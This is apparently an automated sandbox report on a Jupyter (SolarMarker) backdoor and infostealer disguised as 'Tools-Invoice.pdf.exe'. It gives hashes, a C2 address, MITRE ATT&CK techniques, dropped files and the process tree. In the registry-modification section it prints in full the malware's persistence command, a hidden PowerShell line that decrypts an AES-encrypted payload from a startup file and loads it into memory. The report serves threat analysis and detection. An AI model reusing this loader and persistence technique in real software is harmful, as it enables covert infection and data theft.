jupyter | 1afc90c1b93eeb299b87b505112b345a64b07e91b0f1e6306a9c2ece7c7feae3

General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

994aae548a9f407ae1784e973ad94693
SHA1

08cb87669814ea1848cef750c75a39cd37cc61bf
SHA256

1afc90c1b93eeb299b87b505112b345a64b07e91b0f1e6306a9c2ece7c7feae3
SHA512

ed7fbe45a6d89883cc733899691c4f621f5980bbd4feabfdf2d06a902c250f1ba4c6293d216ff8f76927f2007ebcddf62456a1ac7bba02591972c980a5b6de88
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJ:Uj+tNtV/AAFBH9yzL

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Tools-Invoice.pdf.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JooGgBSquuiuQJWuOArBKS.WGbctunRmmXGQxqxyvlmcpiwjKZmPDu	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

pid	Process
3976	TvtuziedoTs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKb29HZ0JTcXV1aXVRSld1T0FyQktTLldHYmN0dW5SbW1YR1F4cXh5dmxtY3Bpd2pLWm1QRHU='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\.wgbctunrmmxgqxqxyvlmcpiwjkzmpdu	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\.wgbctunrmmxgqxqxyvlmcpiwjkzmpdu\ = "quhwjoiflqxkcvogbcfmyboigizv"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\quhwjoiflqxkcvogbcfmyboigizv\shell\open	Tools-Invoice.pdf.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	Tools-Invoice.pdf.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	Tools-Invoice.pdf.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 3976	1044	Tools-Invoice.pdf.exe	91
PID 1044 wrote to memory of 3976	1044	Tools-Invoice.pdf.exe	91
PID 1044 wrote to memory of 3976	1044	Tools-Invoice.pdf.exe	91
PID 1044 wrote to memory of 2368	1044	Tools-Invoice.pdf.exe	93
PID 1044 wrote to memory of 2368	1044	Tools-Invoice.pdf.exe	93

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Tools-Invoice.pdf.exe.log

Filesize
425B

MD5
fff5cbccb6b31b40f834b8f4778a779a

SHA1
899ed0377e89f1ed434cfeecc5bc0163ebdf0454

SHA256
b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76

SHA512
1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r02ty0lz.rg4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1044-1-0x00007FFAC6F80000-0x00007FFAC7A41000-memory.dmp

Filesize
10.8MB

Download
memory/1044-13-0x00007FFAC6F80000-0x00007FFAC7A41000-memory.dmp

Filesize
10.8MB

Download
memory/1044-0-0x00000000006F0000-0x000000000092E000-memory.dmp

Filesize
2.2MB

Download
memory/2368-32-0x000000001C270000-0x000000001C292000-memory.dmp

Filesize
136KB

Download
memory/2368-12-0x00007FFAC6F80000-0x00007FFAC7A41000-memory.dmp

Filesize
10.8MB

Download
memory/2368-40-0x000000001BD60000-0x000000001BD70000-memory.dmp

Filesize
64KB

Download
memory/2368-17-0x00007FFAC6F80000-0x00007FFAC7A41000-memory.dmp

Filesize
10.8MB

Download
memory/2368-35-0x000000001D010000-0x000000001D0C4000-memory.dmp

Filesize
720KB

Download
memory/2368-31-0x000000001BD60000-0x000000001BD70000-memory.dmp

Filesize
64KB

Download
memory/3976-14-0x0000000000680000-0x0000000000681000-memory.dmp

Filesize
4KB

Download
memory/3976-18-0x0000000000680000-0x0000000000681000-memory.dmp

Filesize
4KB

Download
memory/3976-15-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download

Analysis

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